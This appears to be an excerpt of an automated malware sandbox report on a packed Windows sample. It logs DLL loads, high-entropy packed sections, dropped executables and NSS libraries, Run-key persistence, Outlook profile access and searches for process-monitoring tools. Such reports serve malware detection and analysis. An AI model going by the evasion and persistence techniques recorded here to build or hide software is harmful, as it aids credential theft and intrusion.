Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1801216 > 1048576

Source: file.exe

Static PE information: Raw size of rjdslfrf is bigger than: 0x100000 < 0x19dc00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.a40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rjdslfrf:EW;pnddpvcn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rjdslfrf:EW;pnddpvcn:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Unpacked PE file: 10.2.DocumentsFHCAFIDBKE.exe.f20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ihqucnpr:EW;loaatlni:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ihqucnpr:EW;loaatlni:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.910000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ihqucnpr:EW;loaatlni:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ihqucnpr:EW;loaatlni:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 13.2.skotes.exe.910000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ihqucnpr:EW;loaatlni:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ihqucnpr:EW;loaatlni:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Unpacked PE file: 26.2.3f69cca2d1.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dqdwsshm:EW;moyfjxcs:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dqdwsshm:EW;moyfjxcs:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Unpacked PE file: 27.2.70da2e822d.exe.cb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;tnwqhvjl:EW;zthkwkek:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;tnwqhvjl:EW;zthkwkek:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Unpacked PE file: 28.2.57b831f1bb.exe.20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rjdslfrf:EW;pnddpvcn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rjdslfrf:EW;pnddpvcn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Unpacked PE file: 34.2.70da2e822d.exe.cb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;tnwqhvjl:EW;zthkwkek:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;tnwqhvjl:EW;zthkwkek:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C62C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C62C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe0.13.dr	Static PE information: real checksum: 0x2af360 should be: 0x27697b
Source: 5bebd091e2.exe.13.dr	Static PE information: real checksum: 0x2af360 should be: 0x27697b
Source: random[1].exe0.13.dr	Static PE information: real checksum: 0x1ccbc0 should be: 0x1cf311
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1c788c should be: 0x1c7fed
Source: random[2].exe.13.dr	Static PE information: real checksum: 0x1c2d4e should be: 0x1b916d
Source: 3f69cca2d1.exe.13.dr	Static PE information: real checksum: 0x439573 should be: 0x43e537
Source: random[1].exe.13.dr	Static PE information: real checksum: 0x439573 should be: 0x43e537
Source: 70da2e822d.exe.13.dr	Static PE information: real checksum: 0x1ccbc0 should be: 0x1cf311
Source: GuidanceConnectors[1].exe.13.dr	Static PE information: real checksum: 0xbf5fc should be: 0xbba1f
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: real checksum: 0x1c788c should be: 0x1c7fed
Source: skotes.exe.10.dr	Static PE information: real checksum: 0x1c788c should be: 0x1c7fed
Source: file.exe	Static PE information: real checksum: 0x1c2d4e should be: 0x1b916d
Source: 57b831f1bb.exe.13.dr	Static PE information: real checksum: 0x1c2d4e should be: 0x1b916d
Source: GuidanceConnectors.exe.13.dr	Static PE information: real checksum: 0xbf5fc should be: 0xbba1f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: rjdslfrf
Source: file.exe	Static PE information: section name: pnddpvcn
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ihqucnpr
Source: random[1].exe.0.dr	Static PE information: section name: loaatlni
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name:
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name:
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name: ihqucnpr
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name: loaatlni
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.10.dr	Static PE information: section name:
Source: skotes.exe.10.dr	Static PE information: section name: .idata
Source: skotes.exe.10.dr	Static PE information: section name:
Source: skotes.exe.10.dr	Static PE information: section name: ihqucnpr
Source: skotes.exe.10.dr	Static PE information: section name: loaatlni
Source: skotes.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name: .rsrc
Source: random[1].exe.13.dr	Static PE information: section name: .idata
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name: dqdwsshm
Source: random[1].exe.13.dr	Static PE information: section name: moyfjxcs
Source: random[1].exe.13.dr	Static PE information: section name: .taggant
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name:
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name: .rsrc
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name: .idata
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name:
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name: dqdwsshm
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name: moyfjxcs
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name: .taggant
Source: random[1].exe0.13.dr	Static PE information: section name:
Source: random[1].exe0.13.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.13.dr	Static PE information: section name: .idata
Source: random[1].exe0.13.dr	Static PE information: section name:
Source: random[1].exe0.13.dr	Static PE information: section name: tnwqhvjl
Source: random[1].exe0.13.dr	Static PE information: section name: zthkwkek
Source: random[1].exe0.13.dr	Static PE information: section name: .taggant
Source: 70da2e822d.exe.13.dr	Static PE information: section name:
Source: 70da2e822d.exe.13.dr	Static PE information: section name: .rsrc
Source: 70da2e822d.exe.13.dr	Static PE information: section name: .idata
Source: 70da2e822d.exe.13.dr	Static PE information: section name:
Source: 70da2e822d.exe.13.dr	Static PE information: section name: tnwqhvjl
Source: 70da2e822d.exe.13.dr	Static PE information: section name: zthkwkek
Source: 70da2e822d.exe.13.dr	Static PE information: section name: .taggant
Source: random[2].exe.13.dr	Static PE information: section name:
Source: random[2].exe.13.dr	Static PE information: section name: .idata
Source: random[2].exe.13.dr	Static PE information: section name:
Source: random[2].exe.13.dr	Static PE information: section name: rjdslfrf
Source: random[2].exe.13.dr	Static PE information: section name: pnddpvcn
Source: random[2].exe.13.dr	Static PE information: section name: .taggant
Source: 57b831f1bb.exe.13.dr	Static PE information: section name:
Source: 57b831f1bb.exe.13.dr	Static PE information: section name: .idata
Source: 57b831f1bb.exe.13.dr	Static PE information: section name:
Source: 57b831f1bb.exe.13.dr	Static PE information: section name: rjdslfrf
Source: 57b831f1bb.exe.13.dr	Static PE information: section name: pnddpvcn
Source: 57b831f1bb.exe.13.dr	Static PE information: section name: .taggant
Source: random[2].exe0.13.dr	Static PE information: section name:
Source: random[2].exe0.13.dr	Static PE information: section name: .idata
Source: random[2].exe0.13.dr	Static PE information: section name: huorahul
Source: random[2].exe0.13.dr	Static PE information: section name: tkatqwki
Source: random[2].exe0.13.dr	Static PE information: section name: .taggant
Source: 5bebd091e2.exe.13.dr	Static PE information: section name:
Source: 5bebd091e2.exe.13.dr	Static PE information: section name: .idata
Source: 5bebd091e2.exe.13.dr	Static PE information: section name: huorahul
Source: 5bebd091e2.exe.13.dr	Static PE information: section name: tkatqwki
Source: 5bebd091e2.exe.13.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB536 push ecx; ret	0_2_6C5FB549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0092D91C push ecx; ret	13_2_0092D92F
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D30E96 push ecx; ret	24_2_00D30EA9

Source: file.exe	Static PE information: section name: rjdslfrf entropy: 7.954511523378281
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.984163240337756
Source: random[1].exe.0.dr	Static PE information: section name: ihqucnpr entropy: 7.953078647253167
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name: entropy: 7.984163240337756
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: section name: ihqucnpr entropy: 7.953078647253167
Source: skotes.exe.10.dr	Static PE information: section name: entropy: 7.984163240337756
Source: skotes.exe.10.dr	Static PE information: section name: ihqucnpr entropy: 7.953078647253167
Source: random[1].exe.13.dr	Static PE information: section name: dqdwsshm entropy: 7.954880602005358
Source: 3f69cca2d1.exe.13.dr	Static PE information: section name: dqdwsshm entropy: 7.954880602005358
Source: random[1].exe0.13.dr	Static PE information: section name: entropy: 7.983120472087186
Source: random[1].exe0.13.dr	Static PE information: section name: tnwqhvjl entropy: 7.953125566226735
Source: 70da2e822d.exe.13.dr	Static PE information: section name: entropy: 7.983120472087186
Source: 70da2e822d.exe.13.dr	Static PE information: section name: tnwqhvjl entropy: 7.953125566226735
Source: random[2].exe.13.dr	Static PE information: section name: rjdslfrf entropy: 7.954511523378281
Source: 57b831f1bb.exe.13.dr	Static PE information: section name: rjdslfrf entropy: 7.954511523378281
Source: random[2].exe0.13.dr	Static PE information: section name: entropy: 7.804909319738414
Source: 5bebd091e2.exe.13.dr	Static PE information: section name: entropy: 7.804909319738414

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFHCAFIDBKE.exe

Jump to dropped file

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFHCAFIDBKE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007661001\5bebd091e2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\GuidanceConnectors[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFHCAFIDBKE.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 70da2e822d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0245b5a6ea.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 57b831f1bb.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFHCAFIDBKE.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
